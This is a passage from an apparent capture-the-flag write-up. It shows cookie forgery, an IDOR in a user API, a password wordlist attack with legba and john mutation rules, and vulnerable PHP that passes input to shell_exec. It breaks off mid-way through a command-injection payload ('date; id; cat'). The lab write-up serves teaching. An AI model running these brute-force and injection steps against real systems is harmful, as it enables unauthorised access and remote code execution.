style="color:#98C379">'admin'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#D19A66"> true</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card mt-4 border-warning shadow-lg"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-header bg-warning text-dark fw-bold"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                🎯 Administrator Access Confirmed</span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body text-center"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">p </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"lead mb-2"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">                    You have successfully authenticated as an administrator</span><span style="color:#ABB2BF">.</span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">p</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"alert alert-dark fw-bold fs-5"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                   &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> htmlspecialchars</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">trim</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">file_get_contents</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/var/www/web.txt'</span><span style="color:#ABB2BF">))) </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">include</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'footer.php'</span><span style="color:#ABB2BF">); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><p>So it's clear we'll have access to an API if we are from the IT department. For that, we only need to set the value to <code>md5(&quot;true&quot;)</code> in the <code>isITUser</code> cookie.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ printf %s true | md5sum</span></span><span class="line"><span>b326b5062b2f0e69046810717534cb09  -</span></span></code></pre></div></div></figure><h2 id="IDOR">IDOR<a class="header-anchor" href="#IDOR">#</a></h2><p>Let's take a look at the API code:</p><p><code>/dashboard.php?skin=../api</code></p><div class='fold collapsed'>    <div class='fold-title'>        api.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#56B6C2">session_start</span><span style="color:#ABB2BF">();</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">!isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'loggedin'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#56B6C2">    header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Location: index.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#C678DD">    exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> ((</span><span style="color:#E06C75">$_COOKIE</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'isITUser'</span><span style="color:#ABB2BF">] ?? </span><span style="color:#56B6C2">md5</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'false'</span><span style="color:#ABB2BF">)) </span><span style="color:#56B6C2">!==</span><span style="color:#56B6C2"> md5</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'true'</span><span style="color:#ABB2BF">)) {</span></span><span class="line"><span style="color:#C678DD">    die</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Access denied'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">include</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'/var/www/db.php'</span><span style="color:#ABB2BF">);</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$id</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_GET</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'id'</span><span style="color:#ABB2BF">] ?? </span><span style="color:#E06C75">$_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'user_id'</span><span style="color:#ABB2BF">];</span></span><span class="line"><span style="color:#E06C75">$user</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $users</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">$id</span><span style="color:#ABB2BF">] ?? </span><span style="color:#D19A66">null</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">preg_match</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'#^/user/#'</span><span style="color:#ABB2BF">,</span><span style="color:#E06C75"> $_SERVER</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'REQUEST_URI'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"><span style="color:#56B6C2">    header</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'Content-Type: application/json'</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#56B6C2">unset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$user</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'password'</span><span style="color:#ABB2BF">]);</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    echo</span><span style="color:#56B6C2"> json_encode</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$user</span><span style="color:#ABB2BF">,</span><span style="color:#ABB2BF"> JSON_PRETTY_PRINT);</span></span><span class="line"><span style="color:#C678DD">    exit</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">h3</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">Internal User API</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">h3</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"alert alert-info"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">        As a helpdesk user, you can query your own profile</span><span style="color:#C678DD">:</span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">code</span><span style="color:#56B6C2">>/</span><span style="color:#ABB2BF">user</span><span style="color:#56B6C2">/&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'user_id'</span><span style="color:#ABB2BF">] </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">code</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card mt-3"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-header bg-secondary text-white"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">API Request</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">GET </span><span style="color:#56B6C2">/</span><span style="color:#ABB2BF">user</span><span style="color:#56B6C2">/&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> htmlspecialchars</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$id</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card mt-3"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-header bg-dark text-white"</span><span style="color:#56B6C2">></span><span style="color:#ABB2BF">API Response</span><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"card-body"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#56B6C2">unset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$user</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'password'</span><span style="color:#ABB2BF">]);</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> json_encode</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$user</span><span style="color:#ABB2BF">,</span><span style="color:#ABB2BF"> JSON_PRETTY_PRINT); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">include</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'footer.php'</span><span style="color:#ABB2BF">); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure>    </div></div><p>We can query ourself, and confirm we are not admin (yet).</p><p><a href="http://10.129.173.118/user/3">http://10.129.173.118/user/3</a></p><figure class="shiki json"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">{</span></span><span class="line"><span style="color:#E06C75">    "email"</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"help@support.thm"</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">    "2FA"</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">false</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">    "admin"</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">false</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><p>However, user n°1 is.</p><p><a href="http://10.129.173.118/user/1">http://10.129.173.118/user/1</a></p><figure class="shiki json"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">{</span></span><span class="line"><span style="color:#E06C75">    "email"</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"specialadmin@support.thm"</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">    "2FA"</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">false</span><span style="color:#ABB2BF">,</span></span><span class="line"><span style="color:#E06C75">    "admin"</span><span style="color:#ABB2BF">: </span><span style="color:#D19A66">true</span></span><span class="line"><span style="color:#ABB2BF">}</span></span></code></pre></div></div></figure><h2 id="Authentication-wordlist-attack-again">Authentication wordlist attack (again)<a class="header-anchor" href="#Authentication-wordlist-attack-again">#</a></h2><p>Let's try to authenticate as specialadmin@support.thm by attacking its password with a wordlist of common passwords.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba http \</span></span><span class="line"><span>  -U 'specialadmin@support.thm' \</span></span><span class="line"><span>  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \</span></span><span class="line"><span>  -T http://10.129.173.118/ \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-success '!contains(body, "Invalid credentials")' \</span></span><span class="line"><span>  --http-payload 'email={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  -Q</span></span></code></pre></div></div></figure><p>However, this time it's not working.</p><h2 id="Credential-stuffing">Credential stuffing<a class="header-anchor" href="#Credential-stuffing">#</a></h2><p>Let's try to re-use the password in <code>MASTER_PASSWORD</code> from config.php.</p><p>However, it's not working.</p><h2 id="Generating-wordlist-with-mangling-mutation-rules">Generating wordlist with mangling / mutation rules<a class="header-anchor" href="#Generating-wordlist-with-mangling-mutation-rules">#</a></h2><p>Let's try to generate a list of similar passwords from the one we found. <a href="https://help.rapid7.com/metasploit/Content/bruteforce-credentials/credential-mutations.html">We can do this with john</a>.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">john</span><span style="color:#D19A66"> --wordlist=MASTER_PASSWORD.txt</span><span style="color:#D19A66"> --stdout</span><span style="color:#D19A66"> --rules:rockyou-30000</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">rockyou-30000.txt</span></span></code></pre></div></div></figure><p>Let's re-launch the wordlist attack with our custom list.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba http \</span></span><span class="line"><span>  -U 'specialadmin@support.thm' \</span></span><span class="line"><span>  -P rockyou-30000.txt \</span></span><span class="line"><span>  -T http://10.129.173.118/ \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-success '!contains(body, "Invalid credentials")' \</span></span><span class="line"><span>  --http-payload 'email={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  --single-match \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>[…]</span></span><span class="line"><span>[INFO ] [2026-06-11 03:17:24] (http) &#x3C;http://10.129.173.118/> username=specialadmin@support.thm password=REDACTED</span></span><span class="line"><span>[…]</span></span></code></pre></div></div></figure><p>Once authenticated with the account, we have the admin flag.</p><h2 id="RCE">RCE<a class="header-anchor" href="#RCE">#</a></h2><p>We can't read the <code>/home/ubuntu/user.txt</code> flag with the LFD because of the <code>.php</code> suffix (and we're running PHP 8, not 5, so no null byte cropping).</p><p>Once logged in as admin, we have a new feature to display the date or the time in the footer.</p><p><code>/dashboard.php?skin=../footer</code></p><div class='fold collapsed'>    <div class='fold-title'>        footer.php    </div>    <div class='fold-content'>        <figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php</span></span><span class="line"><span style="color:#E06C75">$isAdmin</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_SESSION</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'admin'</span><span style="color:#ABB2BF">];</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$output</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#E06C75">$error</span><span style="color:#56B6C2">  =</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#E06C75">$selectedSys</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'date'</span><span style="color:#ABB2BF">;</span></span><span class="line"></span><span class="line"><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$isAdmin</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#E06C75"> $_SERVER</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'REQUEST_METHOD'</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">===</span><span style="color:#98C379"> 'POST'</span><span style="color:#56B6C2"> &#x26;&#x26;</span><span style="color:#56B6C2"> isset</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'sys'</span><span style="color:#ABB2BF">])) {</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">    $selectedSys</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'sys'</span><span style="color:#ABB2BF">];</span></span><span class="line"><span style="color:#E06C75">    $sys</span><span style="color:#56B6C2"> =</span><span style="color:#E06C75"> $_POST</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">'sys'</span><span style="color:#ABB2BF">];</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#56B6C2">strpos</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$sys</span><span style="color:#ABB2BF">,</span><span style="color:#98C379"> 'date'</span><span style="color:#ABB2BF">) </span><span style="color:#56B6C2">===</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">) {</span></span><span class="line"><span style="color:#E06C75">        $output</span><span style="color:#56B6C2"> =</span><span style="color:#56B6C2"> shell_exec</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$sys</span><span style="color:#ABB2BF">);</span></span><span class="line"><span style="color:#ABB2BF">    } </span><span style="color:#C678DD">else</span><span style="color:#ABB2BF"> {</span></span><span class="line"><span style="color:#E06C75">        $error</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> 'Only date command is allowed.'</span><span style="color:#ABB2BF">;</span></span><span class="line"><span style="color:#ABB2BF">    }</span></span><span class="line"><span style="color:#ABB2BF">}</span></span><span class="line"><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#ABB2BF">footer </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"mt-5 py-4 bg-light border-top"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#ABB2BF">[…]</span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$isAdmin</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">form method</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"POST"</span><span style="color:#ABB2BF"> id</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"sysForm"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                    &#x3C;</span><span style="color:#ABB2BF">select name</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"sys"</span></span><span class="line"><span style="color:#E5C07B">                            class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"form-select"</span></span><span class="line"><span style="color:#ABB2BF">                            onchange</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"document.getElementById('sysForm').submit();"</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                        &#x3C;</span><span style="color:#ABB2BF">option value</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"date"</span></span><span class="line"><span style="color:#56B6C2">                            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $selectedSys</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> 'date'</span><span style="color:#C678DD"> ?</span><span style="color:#98C379"> 'selected'</span><span style="color:#C678DD"> :</span><span style="color:#98C379"> ''</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">>></span></span><span class="line"><span style="color:#ABB2BF">                            Date</span></span><span class="line"><span style="color:#56B6C2">                        &#x3C;/</span><span style="color:#ABB2BF">option</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                        &#x3C;</span><span style="color:#ABB2BF">option value</span><span style="color:#56B6C2">=</span><span style="color:#98C379">'date +"%H:%M:%S"'</span></span><span class="line"><span style="color:#56B6C2">                            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#E06C75"> $selectedSys</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> 'date +"%H:%M:%S"'</span><span style="color:#C678DD"> ?</span><span style="color:#98C379"> 'selected'</span><span style="color:#C678DD"> :</span><span style="color:#98C379"> ''</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">>></span></span><span class="line"><span style="color:#ABB2BF">                            Time</span></span><span class="line"><span style="color:#56B6C2">                        &#x3C;/</span><span style="color:#ABB2BF">option</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">                    &#x3C;/</span><span style="color:#ABB2BF">select</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;/</span><span style="color:#ABB2BF">form</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">        &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"></span><span class="line"><span style="color:#56B6C2">    &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"container mt-3"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$error</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"alert alert-danger"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> htmlspecialchars</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$error</span><span style="color:#ABB2BF">); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$output</span><span style="color:#ABB2BF">)</span><span style="color:#C678DD">:</span><span style="color:#C678DD"> ?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;</span><span style="color:#ABB2BF">div </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"alert alert-dark"</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">                &#x3C;</span><span style="color:#ABB2BF">pre </span><span style="color:#E5C07B">class</span><span style="color:#56B6C2">=</span><span style="color:#98C379">"mb-0"</span><span style="color:#56B6C2">>&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#56B6C2">=</span><span style="color:#56B6C2"> htmlspecialchars</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">$output</span><span style="color:#ABB2BF">); </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">>&#x3C;/</span><span style="color:#ABB2BF">pre</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">            &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">        &#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#C678DD">endif</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">    &#x3C;/</span><span style="color:#ABB2BF">div</span><span style="color:#56B6C2">></span></span><span class="line"><span style="color:#56B6C2">&#x3C;/</span><span style="color:#ABB2BF">footer</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure><p>The request to change from one to another looks like this:</p><figure class="shiki http"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">POST</span><span style="color:#ABB2BF"> /dashboard.php </span><span style="color:#C678DD">HTTP</span><span style="color:#ABB2BF">/</span><span style="color:#D19A66">1.1</span></span><span class="line"><span style="color:#E06C75">Host</span><span style="color:#C678DD">:</span><span style="color:#98C379"> 10.129.173.118</span></span><span class="line"><span style="color:#ABB2BF">[</span><span style="color:#FFFFFF">…</span><span style="color:#ABB2BF">]</span></span><span class="line"><span style="color:#ABB2BF">Content-Type: application/x-www-form-urlencoded</span></span><span class="line"><span style="color:#ABB2BF">[</span><span style="color:#FFFFFF">…</span><span style="color:#ABB2BF">]</span></span><span class="line"></span><span class="line"><span style="color:#ABB2BF">sys=date</span></span></code></pre></div></div></figure>    </div></div><p>Let's perform basic command injection and use the following payload instead.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>sys=date+%2B%22%25H%3A%25M%3A%25S%22; id; cat 